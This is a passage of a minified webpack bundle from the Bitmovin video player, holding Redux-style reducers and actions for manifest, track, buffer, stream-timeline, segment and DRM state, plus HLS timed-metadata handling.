o=n.type,e;o===r.MetadataType.CUSTOM?(t.EXPERIMENTAL=t.EXPERIMENTAL||{},t.EXPERIMENTAL.hlsAttributes=t.EXPERIMENTAL.hlsAttributes||[],t.EXPERIMENTAL.hlsAttributes=t.EXPERIMENTAL.hlsAttributes.concat(n.attributes)):(e={metadataType:/^CUE-(IN|OUT(-CONT)?)$/.test(o)?r.MetadataType.CUETAG:r.MetadataType[n.type],metadata:n,start:t.playbackTime},this.metadataService.addToMetadataParsedService(e.start,u(u({},e),{data:n}),i),this.metadataService.addToTimeline(f.TimedMetadataType.Manifest,e.start,e))},n.prototype.dispose=function(){this.metadataService=o.dispose(this.metadataService);this.manifestService=null;this.discontinuityMonitor=o.dispose(this.discontinuityMonitor)},n}();t.TimedMetadataService=w},4053:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.clearActiveTracksAction=t.removeActiveTrackAction=t.setContainerFormatAction=t.setMediaTypeAction=t.setRepresentationIdAction=void 0;var r=i(15231),f=i(81361),u=i(73731);t.setRepresentationIdAction=function(n){return r.createAction(u.ActiveTracksActionType.SetSelectedRepresentationId,{selectedRepresentationId:n})};t.setMediaTypeAction=function(n,t){var i=f.forceArray(t);return r.createAction(u.ActiveTracksActionType.SetMediaType,{trackId:n,mediaTypes:i})};t.setContainerFormatAction=function(n,t){return r.createAction(u.ActiveTracksActionType.SetContainerFormat,{trackId:n,containerFormat:t})};t.removeActiveTrackAction=function(n){return r.createAction(u.ActiveTracksActionType.RemoveActiveTrack,{adaptationSetId:n})};t.clearActiveTracksAction=function(){return r.createAction(u.ActiveTracksActionType.ClearActiveTracks)}},73731:function(n,t){var i;Object.defineProperty(t,"__esModule",{value:!0});t.ActiveTracksActionType=void 0,function(n){n.SetSelectedRepresentationId="@instance/sources/@source/activetracks/setselectedrepresentationid";n.SetMediaType="@instance/sources/@source/activetracks/setmediatype";n.SetContainerFormat="@instance/sources/@source/activetracks/setcontainerformat";n.RemoveActiveTrack="@instance/sources/@source/activetracks/remove";n.ClearActiveTracks="@instance/sources/@source/activetracks/clear"}(i||(t.ActiveTracksActionType=i={}))},82311:function(n,t,i){var u,r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},e=this&&this.__rest||function(n,t){var u={},i,r;for(i in n)Object.prototype.hasOwnProperty.call(n,i)&&t.indexOf(i)<0&&(u[i]=n[i]);if(null!=n&&"function"==typeof Object.getOwnPropertySymbols)for(r=0,i=Object.getOwnPropertySymbols(n);r<i.length;r++)t.indexOf(i[r])<0&&Object.prototype.propertyIsEnumerable.call(n,i[r])&&(u[i[r]]=n[i[r]]);return u};Object.defineProperty(t,"__esModule",{value:!0});t.ActiveTracksReducer=t.getMediaTypes=t.getContainerFormat=void 0;var o=i(21829),f=i(73731),s={};t.getContainerFormat=function(n,t){var i;if(n.activeTracks)return null===(i=Object.values(n.activeTracks).find(function(n){var i;if(null!==(i=n.mediaTypes)&&void 0!==i)return i.includes(t)}))||void 0===i?void 0:i.containerFormat};t.getMediaTypes=function(n,t){var i;return n.activeTracks&&(null===(i=n.activeTracks[t.adaptationSetId])||void 0===i?void 0:i.mediaTypes)||[]};t.ActiveTracksReducer=o.default({},((u={})[f.ActiveTracksActionType.SetSelectedRepresentationId]=function(n,t){return function(n,t){var u,i=t.selectedRepresentationId,f=n[i.adaptationSetId];return r(r({},n),((u={})[i.adaptationSetId]=r(r({},f),{selectedRepresentationId:i}),u))}(n,t.payload)},u[f.ActiveTracksActionType.SetMediaType]=function(n,t){return function(n,t){var i,u=t.trackId,f=t.mediaTypes,e=n[u.adaptationSetId];return r(r({},n),((i={})[u.adaptationSetId]=r(r({},e),{mediaTypes:f}),i))}(n,t.payload)},u[f.ActiveTracksActionType.SetContainerFormat]=function(n,t){return function(n,t){var i,u=t.trackId,f=t.containerFormat,e=n[u.adaptationSetId];return r(r({},n),((i={})[u.adaptationSetId]=r(r({},e),{containerFormat:f}),i))}(n,t.payload)},u[f.ActiveTracksActionType.RemoveActiveTrack]=function(n,t){return function(n,t){var u=n,i=t.adaptationSetId.adaptationSetId,f=(u[i],e(u,["symbol"==typeof i?i:i+""]));return r({},f)}(n,t.payload)},u[f.ActiveTracksActionType.ClearActiveTracks]=function(){return s},u))},71827:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.engineBitmovinSourceReducers=void 0;var r=i(82311),u=i(28196),f=i(58211),e=i(96280),o=i(49233),s=i(28322),h=i(14764);t.engineBitmovinSourceReducers={manifest:u.ManifestReducer,activeTracks:r.ActiveTracksReducer,playingTracks:f.PlayingTracksReducer,buffer:o.BufferReducer,renderer:s.RendererReducer,streamTimeline:h.StreamTimelineReducer,segmentInfoMap:e.SegmentInfoMapReducer}},72788:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.periodSwitchStarted=t.periodSwitchFinished=t.setPlayingPeriodId=void 0;var r=i(15231),u=i(98086);t.setPlayingPeriodId=function(n){return r.createAction(u.PlayingTracksActionKey.SetPlayingPeriodId,n)};t.periodSwitchFinished=function(n){return r.createAction(u.PlayingTracksActionKey.FinishedPeriodSwitch,n)};t.periodSwitchStarted=function(n){return r.createAction(u.PlayingTracksActionKey.StartedPeriodSwitch,n)}},58211:function(n,t,i){var u,r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},e,f;Object.defineProperty(t,"__esModule",{value:!0});t.PlayingTracksReducer=t.wasSwitchingToPeriodIdReset=t.getPlayingTracksState=t.getPlayingPeriodId=void 0;e=i(21829);f=i(98086);t.getPlayingPeriodId=function(n){var t;if(null!==(t=n.playingTracks)&&void 0!==t)return t.playingPeriodId};t.getPlayingTracksState=function(n){return n.playingTracks};t.wasSwitchingToPeriodIdReset=function(n,t){return void 0!==(null==t?void 0:t.switchingToPeriodId)&&void 0===(null==n?void 0:n.switchingToPeriodId)};t.PlayingTracksReducer=e.default({},((u={})[f.PlayingTracksActionKey.SetPlayingPeriodId]=function(n,t){var i=t.payload;return r(r({},n),{playingPeriodId:i})},u[f.PlayingTracksActionKey.FinishedPeriodSwitch]=function(n,t){var i=t.payload;return r(r({},n),{switchingToPeriodId:n.switchingToPeriodId===i?void 0:n.switchingToPeriodId})},u[f.PlayingTracksActionKey.StartedPeriodSwitch]=function(n,t){var i=t.payload;return r(r({},n),{switchingToPeriodId:i})},u))},98086:function(n,t){var i;Object.defineProperty(t,"__esModule",{value:!0});t.PlayingTracksActionKey=void 0,function(n){n.SetPlayingPeriodId="@instance/sources/@source/playingTracks/setPlayingPeriodId";n.FinishedPeriodSwitch="@instance/sources/@source/playingTracks/periodSwitchFinished";n.StartedPeriodSwitch="@instance/sources/@source/playingTracks/periodSwitchStarted"}(i||(t.PlayingTracksActionKey=i={}))},28337:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.sourceIdentifiersSelector=t.hasASourceStoreIdentifierChanged=void 0;t.hasASourceStoreIdentifierChanged=function(n,t){return n.length!==t.length||n.some(function(n){return!t.includes(n)})};t.sourceIdentifiersSelector=function(n){var t;return Object.keys(null!==(t=n.sources)&&void 0!==t?t:{})}},41735:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.setRepresentationAnchorPointAction=t.setRepresentationSegmentIndexParsingErrorAction=t.setRepresentationIsLoadingAction=t.setRepresentationSegmentIndexAction=t.setRepresentationDrmKidAction=t.adjustPeriodStartTimes=t.updatePeriodTimingAction=t.updateRepresentationAction=t.updateManifestAction=t.removeRepresentationsAction=t.setManifestInitializedAction=t.setManifestAction=void 0;var r=i(15231),u=i(77329);t.setManifestAction=function(n){return r.createAction(u.ManifestActionType.SetManifest,{manifest:n})};t.setManifestInitializedAction=function(n){return r.createAction(u.ManifestActionType.SetManifestInitialized,{isInitialized:n})};t.removeRepresentationsAction=function(n){return r.createAction(u.ManifestActionType.RemoveRepresentations,{representationIds:n})};t.updateManifestAction=function(n){return r.createAction(u.ManifestActionType.UpdateManifest,n)};t.updateRepresentationAction=function(n){return r.createAction(u.ManifestActionType.UpdateRepresentation,n)};t.updatePeriodTimingAction=function(n,t){return r.createAction(u.ManifestActionType.UpdatePeriodTiming,{periodId:n,timing:t})};t.adjustPeriodStartTimes=function(n){return r.createAction(u.ManifestActionType.AdjustPeriodStartTimes,{offset:n})};t.setRepresentationDrmKidAction=function(n,t){return r.createAction(u.ManifestActionType.SetRepresentationDrmKid,{representationId:n,associatedKid:t})};t.setRepresentationSegmentIndexAction=function(n,t){return r.createAction(u.ManifestActionType.SetRepresentationSegmentIndex,{representationId:n,segmentIndex:t})};t.setRepresentationIsLoadingAction=function(n,t){return r.createAction(u.ManifestActionType.SetRepresentationIsLoading,{representationId:n,isLoading:t})};t.setRepresentationSegmentIndexParsingErrorAction=function(n,t){return r.createAction(u.ManifestActionType.SetRepresentationSegmentIndexParsingError,{representationId:n,segmentIndexParsingError:t})};t.setRepresentationAnchorPointAction=function(n,t){return r.createAction(u.ManifestActionType.SetRepresentationAnchorPoint,{representationId:n,anchorPoint:t})}},28196:function(n,t,i){var u,r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},e=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.ManifestReducer=void 0;var o=i(21829),s=i(94938),f=i(77329);t.ManifestReducer=o.default({},((u={})[f.ManifestActionType.SetManifest]=function(n,t){return t.payload.manifest||n},u[f.ManifestActionType.SetManifestInitialized]=function(n,t){return r(r({},n),{isInitialized:t.payload.isInitialized})},u[f.ManifestActionType.RemoveRepresentations]=function(n,t){return 0===t.payload.representationIds.length?n:s.removeRepresentations(n,t.payload.representationIds)},u[f.ManifestActionType.UpdateManifest]=function(n,t){return function(n,t){return r(r({},n),t)}(n,t.payload)},u[f.ManifestActionType.UpdateRepresentation]=function(n,t){return function(n,t){var h,c,l,v=t,a=v._internalId,u,s;if(!n.Period)return n;var f=n.Period.findIndex(function(n){return n._id===a.periodId}),o=null===(h=n.Period[f])||void 0===h?void 0:h.AdaptationSet.findIndex(function(n){return n._internalId.equals(a)}),y=null===(l=null===(c=n.Period[f])||void 0===c?void 0:c.AdaptationSet[o])||void 0===l?void 0:l.Representation.findIndex(function(n){return n._internalId.equals(a)}),i=r({},n);return i.Period=e([],i.Period,!0),i.Period[f]=r({},i.Period[f]),u=i.Period[f],u.AdaptationSet=e([],u.AdaptationSet,!0),u.AdaptationSet[o]=r({},u.AdaptationSet[o]),s=u.AdaptationSet[o],s.Representation=e([],s.Representation,!0),s.Representation[y]=v,i}(n,t.payload)},u[f.ManifestActionType.AdjustPeriodStartTimes]=function(n,t){return t.payload.offset?r(r({},n),{Period:n.Period.map(function(n){return r(r({},n),{start:n.start+t.payload.offset})})}):n},u[f.ManifestActionType.UpdatePeriodTiming]=function(n,t){return function(n,t){var i;if(!n.Period)return n;var f=t.periodId,o=t.timing,u=n.Period.findIndex(function(n){return n._id===f});return u<0?n:(i=e([],n.Period,!0),i[u]=r(r({},i[u]),o),r(r({},n),{Period:i}))}(n,t.payload)},u[f.ManifestActionType.SetRepresentationDrmKid]=function(n,t){var i,u=t.payload,f=u.representationId,e=u.associatedKid,o=function(n){return n._internalId.equals(f)&&!n.associatedKid?e:n.associatedKid};return r(r({},n),{Period:null===(i=n.Period)||void 0===i?void 0:i.map(function(n){var t;return r(r({},n),{AdaptationSet:null===(t=n.AdaptationSet)||void 0===t?void 0:t.map(function(n){var t;return r(r({},n),{Representation:null===(t=n.Representation)||void 0===t?void 0:t.map(function(n){return r(r({},n),{associatedKid:o(n)})})})})})})})},u[f.ManifestActionType.SetRepresentationIsLoading]=function(n,t){var i,u=t.payload,f=u.representationId,e=u.isLoading,o=function(n){return n._internalId.equals(f)?e:n.isLoading};return r(r({},n),{Period:null===(i=n.Period)||void 0===i?void 0:i.map(function(n){var t;return r(r({},n),{AdaptationSet:null===(t=n.AdaptationSet)||void 0===t?void 0:t.map(function(n){var t;return r(r({},n),{Representation:null===(t=n.Representation)||void 0===t?void 0:t.map(function(n){return r(r({},n),{isLoading:o(n)})})})})})})})},u[f.ManifestActionType.SetRepresentationSegmentIndex]=function(n,t){var i,u=t.payload,f=u.representationId,e=u.segmentIndex,o=function(n){return n._internalId.equals(f)?e:n.segmentIndex};return r(r({},n),{Period:null===(i=n.Period)||void 0===i?void 0:i.map(function(n){var t;return r(r({},n),{AdaptationSet:null===(t=n.AdaptationSet)||void 0===t?void 0:t.map(function(n){var t;return r(r({},n),{Representation:null===(t=n.Representation)||void 0===t?void 0:t.map(function(n){return r(r({},n),{segmentIndex:o(n)})})})})})})})},u[f.ManifestActionType.SetRepresentationSegmentIndexParsingError]=function(n,t){var i,u=t.payload,f=u.representationId,e=u.segmentIndexParsingError,o=function(n){return n._internalId.equals(f)?e:n.segmentIndexParsingError};return r(r({},n),{Period:null===(i=n.Period)||void 0===i?void 0:i.map(function(n){var t;return r(r({},n),{AdaptationSet:null===(t=n.AdaptationSet)||void 0===t?void 0:t.map(function(n){var t;return r(r({},n),{Representation:null===(t=n.Representation)||void 0===t?void 0:t.map(function(n){return r(r({},n),{segmentIndexParsingError:o(n)})})})})})})})},u[f.ManifestActionType.SetRepresentationAnchorPoint]=function(n,t){var i,u=t.payload,f=u.representationId,e=u.anchorPoint,o=function(n){return n._internalId.equals(f)?e:n.anchorPoint};return r(r({},n),{Period:null===(i=n.Period)||void 0===i?void 0:i.map(function(n){var t;return r(r({},n),{AdaptationSet:null===(t=n.AdaptationSet)||void 0===t?void 0:t.map(function(n){var t;return r(r({},n),{Representation:null===(t=n.Representation)||void 0===t?void 0:t.map(function(n){return r(r({},n),{anchorPoint:o(n)})})})})})})})},u))},77874:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.getManifest=void 0;t.getManifest=function(n){if(null!=n)return n.manifest}},77329:function(n,t){var i;Object.defineProperty(t,"__esModule",{value:!0});t.ManifestActionType=void 0,function(n){n.SetManifest="@instance/manifest/setmanifest";n.SetManifestInitialized="@instance/manifest/setmanifestinitialized";n.RemoveRepresentations="@instance/manifest/removerepresentations";n.UpdateManifest="@instance/manifest/updatemanifest";n.UpdateRepresentation="@instance/manifest/updaterepresentation";n.UpdatePeriodTiming="@instance/manifest/updateperiodtiming";n.AdjustPeriodStartTimes="@instance/manifest/adjustperiodstarttimes";n.SetRepresentationDrmKid="@instance/manifest/setrepresentationdrmkid";n.SetRepresentationSegmentIndex="@instance/manifest/setrepresentationsegmentindex";n.SetRepresentationIsLoading="@instance/manifest/setrepresentationisloading";n.SetRepresentationSegmentIndexParsingError="@instance/manifest/setrepresentationsegmentindexparsingerror";n.SetRepresentationAnchorPoint="@instance/manifest/setrepresentationacnhorpoint"}(i||(t.ManifestActionType=i={}))},96280:function(n,t,i){function f(n,t,i){var u;return r(r({},n),((u={})[t]=i,u))}var u,r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},e=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.SegmentInfoMapReducer=void 0;var s=i(21829),h=i(41661),o=i(85157);t.SegmentInfoMapReducer=s.default({},((u={})[o.SegmentInfoMapActionType.SetSegmentInfos]=function(n,t){return f(n,t.payload.qualityPath,t.payload.updatedEntry)},u[o.SegmentInfoMapActionType.UpdateSegmentInfos]=function(n,t){return function(n,t,i){var l,u,o,c,a,s,v,y;return!n[t]||0===i.segmentInfos.length?f(n,t,i):(u=n[t].segmentInfos,o=u.findIndex(function(n){return h.areSegmentsIdentical(n,i.segmentInfos[0])}),-1===o)?f(n,t,i):(a=u.length-o,s=i.segmentInfos.length-a,0!==o||0!==s?(v=s>0?i.segmentInfos.slice(-s):[],c=e(e([],u.slice(o),!0),v,!0)):c=u,y=r(r(r({},n[t]),i),{segmentInfos:c}),r(r({},n),((l={})[t]=y,l)))}(n,t.payload.qualityPath,t.payload.updatedEntry)},u))},93326:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.getMostRecentlyRefreshedQuality=t.getSegmentInfos=t.getSegmentMapEntry=void 0;t.getSegmentMapEntry=function(n,t){if(null!=n)return n.segmentInfoMap[t]};t.getSegmentInfos=function(n,i){var r,u;return null!==(u=null===(r=t.getSegmentMapEntry(n,i))||void 0===r?void 0:r.segmentInfos)&&void 0!==u?u:[]};t.getMostRecentlyRefreshedQuality=function(n){if(n)return Object.values(n.segmentInfoMap).filter(function(n){return null!=n.qualityInfo.lastUpdateTimestamp}).sort(function(n,t){var i=n.qualityInfo.lastUpdateTimestamp;return t.qualityInfo.lastUpdateTimestamp-i})[0]}},85157:function(n,t){var i;Object.defineProperty(t,"__esModule",{value:!0});t.SegmentInfoMapActionType=void 0,function(n){n.SetSegmentInfos="@instance/sources/@source/playback/setSegmentInfos";n.UpdateSegmentInfos="@instance/sources/@source/playback/updateSegmentInfos"}(i||(t.SegmentInfoMapActionType=i={}))},16280:function(n,t,i){function u(n,t,i){return{start:r.rangeFixedValue(n),end:r.rangeFixedValue(t),bufferBlockId:i}}function e(n,t){var i=[];return n.forEach(function(n){r.areDisjoint(n,t)?i.push(n):r.isSurrounding(n,t)?i.push.apply(i,function(n,t){return[u(n.start,t.start,n.bufferBlockId),u(t.end,n.end,n.bufferBlockId)]}(n,t)):r.isFullyIncluded(n,t)||i.push(function(n,t){return u(n.start>=t.start?t.end:n.start,n.end>t.end?n.end:t.start,n.bufferBlockId)}(n,t))}),i}function f(n){var t={};return n.forEach(function(n){t[n.bufferBlockId]||(t[n.bufferBlockId]=[]);t[n.bufferBlockId].push(n)}),t}Object.defineProperty(t,"__esModule",{value:!0});t.segmentToBufferBlockTimeRange=t.excludeBufferBlockTimeRange=t.mergeBufferBlockTimeRanges=void 0;var r=i(92712);t.mergeBufferBlockTimeRanges=function(){for(var i,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return i=f(t),Object.keys(i).flatMap(function(n){return r.BufferRangeHelper.mergeRanges(i[n],.1)})};t.excludeBufferBlockTimeRange=function(n,t){var s=t.bufferBlockId,i=f(n.map(function(n){return u(n.start,n.end,n.bufferBlockId)})),o=i[s],h;return(null==o?void 0:o.length)?(h=e(o,t),i[s]=r.BufferRangeHelper.mergeRanges(h,.1),Object.keys(i).flatMap(function(n){return i[n]})):n};t.segmentToBufferBlockTimeRange=function(n){var i=n.getBufferBlockId(),t=n.getPlaybackTime();return u(t,t+n.getDuration(),i)}},49233:function(n,t,i){var u,r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},e=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.BufferReducer=void 0;var o=i(92712),h=i(21829),f=i(18434),s=i(16280);t.BufferReducer=h.default({isLoadingRangeFinished:!1,isBufferBlockSwitchOngoing:!1,isTimestampRollingOver:!1,bufferStateMap:{}},((u={})[f.BufferActionType.SetBufferMaxSize]=function(n,t){var i,u=t.payload;return r(r({},n),{bufferStateMap:r(r({},n.bufferStateMap),(i={},i[u.mimeType]=r(r({},n.bufferStateMap[u.mimeType]),{maxBufferSize:u.maxBufferSize}),i))})},u[f.BufferActionType.SetRendererRanges]=function(n,t){var i,u=t.payload;return r(r({},n),{bufferStateMap:r(r({},n.bufferStateMap),(i={},i[u.mimeType]=r(r({},n.bufferStateMap[u.mimeType]),{rendererRanges:u.ranges}),i))})},u[f.BufferActionType.SetBufferBlockSwitchOngoing]=function(n,t){var i=t.payload;return r(r({},n),{isBufferBlockSwitchOngoing:i.isOngoing})},u[f.BufferActionType.SetTimestampRollingOver]=function(n,t){var i=t.payload;return r(r({},n),{isTimestampRollingOver:i.isRollingOver})},u[f.BufferActionType.AddLoadedRange]=function(n,t){var u,f,h,l=t.payload,i=l.mimeType,a=l.range,c;return i?(c=null!==(h=null===(f=n.bufferStateMap[i])||void 0===f?void 0:f.loadedRanges)&&void 0!==h?h:[],c.some(function(n){return o.isFullyIncluded(a,n)})?n:r(r({},n),{bufferStateMap:r(r({},n.bufferStateMap),(u={},u[i]=r(r({},n.bufferStateMap[i]),{loadedRanges:s.mergeBufferBlockTimeRanges.apply(void 0,e(e([],c,!1),[a],!1))}),u))})):n},u[f.BufferActionType.RemoveLoadedRange]=function(n,t){var u,f,e,c=t.payload,i=c.mimeType,l=c.range,h;return i?(h=null!==(e=null===(f=n.bufferStateMap[i])||void 0===f?void 0:f.loadedRanges)&&void 0!==e?e:[],h.every(function(n){return!o.isOverlapping(l,n)})?n:r(r({},n),{bufferStateMap:r(r({},n.bufferStateMap),(u={},u[i]=r(r({},n.bufferStateMap[i]),{loadedRanges:s.excludeBufferBlockTimeRange(h,l)}),u))})):n},u[f.BufferActionType.ResetLoadedRanges]=function(n,t){var f,e,o,u=t.payload.mimeType,i;return void 0===u?void 0===n?{isLoadingRangeFinished:!1,isBufferBlockSwitchOngoing:!1,isTimestampRollingOver:!1,bufferStateMap:{}}:(i=r(r({},n),{bufferStateMap:r({},n.bufferStateMap)}),Object.keys(i.bufferStateMap).forEach(function(n){i.bufferStateMap[n]=r(r({},i.bufferStateMap[n]),{loadedRanges:[]})}),i):(null!==(o=null===(e=n.bufferStateMap[u])||void 0===e?void 0:e.loadedRanges)&&void 0!==o?o:[]).length>0?r(r({},n),{bufferStateMap:r(r({},n.bufferStateMap),(f={},f[u]=r(r({},n.bufferStateMap[u]),{loadedRanges:[]}),f))}):n},u[f.BufferActionType.SetLoadingRangeFinished]=function(n,t){var i=t.payload.isFinished;return r(r({},n),{isLoadingRangeFinished:i})},u))},68294:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.getDrmUsedKeySystem=t.getDrmKeyIdsWithErrors=t.getDrmState=void 0;t.getDrmState=function(n){if(null!=n)return n.drm};t.getDrmKeyIdsWithErrors=function(n){var t,i;return null!==(i=null===(t=n.drm)||void 0===t?void 0:t.keyIdsWithErrors)&&void 0!==i?i:[]};t.getDrmUsedKeySystem=function(n){var i;return(null===(i=t.getDrmState(n))||void 0===i?void 0:i.usedKeySystem)||{kind:null,uid:null}}},28322:function(n,t,i){var u,r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},f,e;Object.defineProperty(t,"__esModule",{value:!0});t.RendererReducer=void 0;f=i(21829);e=i(73448);t.RendererReducer=f.default({mseObjectUrl:""},((u={})[e.RendererActionType.SetMseObjectUrl]=function(n,t){var i=t.payload;return r(r({},n),{mseObjectUrl:i.url})},u))},59839:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.resetStreamTimeline=t.removeStreamTimeRange=t.addStreamTimeRange=void 0;var r=i(15231),u=i(1590);t.addStreamTimeRange=function(n,t,i){var f={start:t.start,end:t.end,type:i};return r.createAction(u.StreamTimelineActionType.StreamTimeRangeAdd,{mimeType:n,streamTimeRange:f})};t.removeStreamTimeRange=function(n,t,i){return r.createAction(u.StreamTimelineActionType.StreamTimeRangeRemove,{mimeType:n,range:t,type:i})};t.resetStreamTimeline=function(n){return r.createAction(u.StreamTimelineActionType.StreamTimelineReset,n)}},14764:function(n,t,i){var u,r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},e=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.getStreamTimeline=t.StreamTimelineReducer=void 0;var h=i(92712),c=i(21829),o=i(22645),f=i(1590),s={};t.StreamTimelineReducer=c.default(s,((u={})[f.StreamTimelineActionType.StreamTimeRangeAdd]=function(n,t){return function(n,t,i){var u,f=n[t]?e([],n[t],!0):[];return r(r({},n),((u={})[t]=o.addStreamTimeRangeToTimeline(f,i),u))}(n,t.payload.mimeType,t.payload.streamTimeRange)},u[f.StreamTimelineActionType.StreamTimeRangeRemove]=function(n,t){return function(n,t,i,u){var s,f,c;return n[t]?(f=e([],n[t],!0),u?(c=r(r({},i),{type:u}),f=o.removeStreamTimeRangeFromTimeline(f,c)):f=h.BufferRangeHelper.excludeTimeRange(f,i),r(r({},n),((s={})[t]=f,s))):n}(n,t.payload.mimeType,t.payload.range,t.payload.type)},u[f.StreamTimelineActionType.StreamTimelineReset]=function(n,t){return function(n,t){var i;return t?r(r({},n),((i={})[t]=[],i)):s}(n,t.payload)},u));t.getStreamTimeline=function(n){var t;return null!==(t=null==n?void 0:n.streamTimeline)&&void 0!==t?t:{}}},1590:function(n,t){var i;Object.defineProperty(t,"__esModule",{value:!0});t.StreamTimelineActionType=void 0,function(n){n.StreamTimelineReset="@instance/source/stream/streamtimelinereset";n.StreamTimeRangeRemove="@instance/source/stream/streamtimerangeremove";n.StreamTimeRangeAdd="@instance/source/stream/streamtimerangeadd"}(i||(t.StreamTimelineActionType=i={}))},22645:function(n,t,i){function f(n,t,i){var r=n.findIndex(i);return r<0?n.push(t):n.splice(r,0,t),n}Object.defineProperty(t,"__esModule",{value:!0});t.getTrackIdentifier=t.removeStreamTimeRangeFromTimeline=t.addStreamTimeRangeToTimeline=t.StreamTimeRangeType=void 0;var r,u=i(92712),e=i(87326),o=i(79814);!function(n){n.Loading="loading";n.Failed="failed"}(r||(t.StreamTimeRangeType=r={}));t.addStreamTimeRangeToTimeline=function(n,t){var i=n.filter(function(n){return n.type===t.type}).concat(t),r=u.BufferRangeHelper.mergeRanges(i,e.DefaultSettings.GAP_TOLERANCE);return n=n.filter(function(n){return n.type!==t.type}),r.forEach(function(t){n=f(n,t,function(n){return n.start>t.start})}),n};t.removeStreamTimeRangeFromTimeline=function(n,t){var i=n.filter(function(n){return n.type===t.type}),r=u.BufferRangeHelper.excludeTimeRange(i,t);return n=n.filter(function(n){return n.type!==t.type}),r.forEach(function(t){n=f(n,t,function(n){return n.start>t.start})}),n};t.getTrackIdentifier=function(n){var t=n.mimeType,i=n.internalRepresentationId;return o.MimeTypeHelper.isSubtitle(t)?"".concat(t,"/").concat(i.adaptationSetId):t}},75498:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.hasContentProtection=t.areAudioMimeCodecsCompatible=void 0;var r=i(42283);t.areAudioMimeCodecsCompatible=function(n,t){return n.mimeType===t.mimeType&&r.CodecStringHelper.canSwitchBetweenAudioCodecs(n.codec,t.codec)};t.hasContentProtection=function(n,t){return void 0===n&&(n=[]),void 0===t&&(t=[]),0===n.length&&0===t.length||n.length>0&&t.length>0}},45873:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.compareValues=void 0;t.compareValues=function(n,t,i){return!n&&!t||!(n&&!t||!n&&t)&&(i||Object.keys(n)).every(function(i){return n[i]===t[i]})}},9827:function(n,t,i){function r(n,t){return n.endsWith(t)||n.split("?")[0].endsWith(t)}Object.defineProperty(t,"__esModule",{value:!0});t.matchesMediaUrl=t.findSegmentUrlIndexWithinSegmentList=void 0;var u=i(45873);t.findSegmentUrlIndexWithinSegmentList=function(n,t){var i=n.getSegmentInfo();return t.findIndex(function(n){var t=i.discontinuitySequenceNumber===n._discontinuitySequenceNumber,f=r(i.url,n._media),e=u.compareValues(i.byteRange,n._byteRange);return t&&f&&e})};t.matchesMediaUrl=r},37702:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.getKeys=t.getValues=void 0;t.getValues=function(n){var t=[];return n.forEach(function(n){t.push(n)}),t};t.getKeys=function(n){var t=[];return n.forEach(function(n,i){t.push(i)}),t}},40392:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.bytesToBits=void 0;t.bytesToBits=function(n){return 8*n}}},function(n){return n(n.s=44910)}])},313:function(n){"use strict";self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[855],{77117:function(n,t,i){function p(n,t,i){var f=i&&t.dateTime?o.toSeconds(t.dateTime.getTime()):t.playbackTime;switch(n){case u.CueTag:return[{metadataType:r.MetadataType.CUETAG,metadata:t[u.CueTag],start:f}];case u.Scte35:return[{metadataType:r.MetadataType.SCTE,metadata:t[u.Scte35],start:f}];case u.DateRange:return 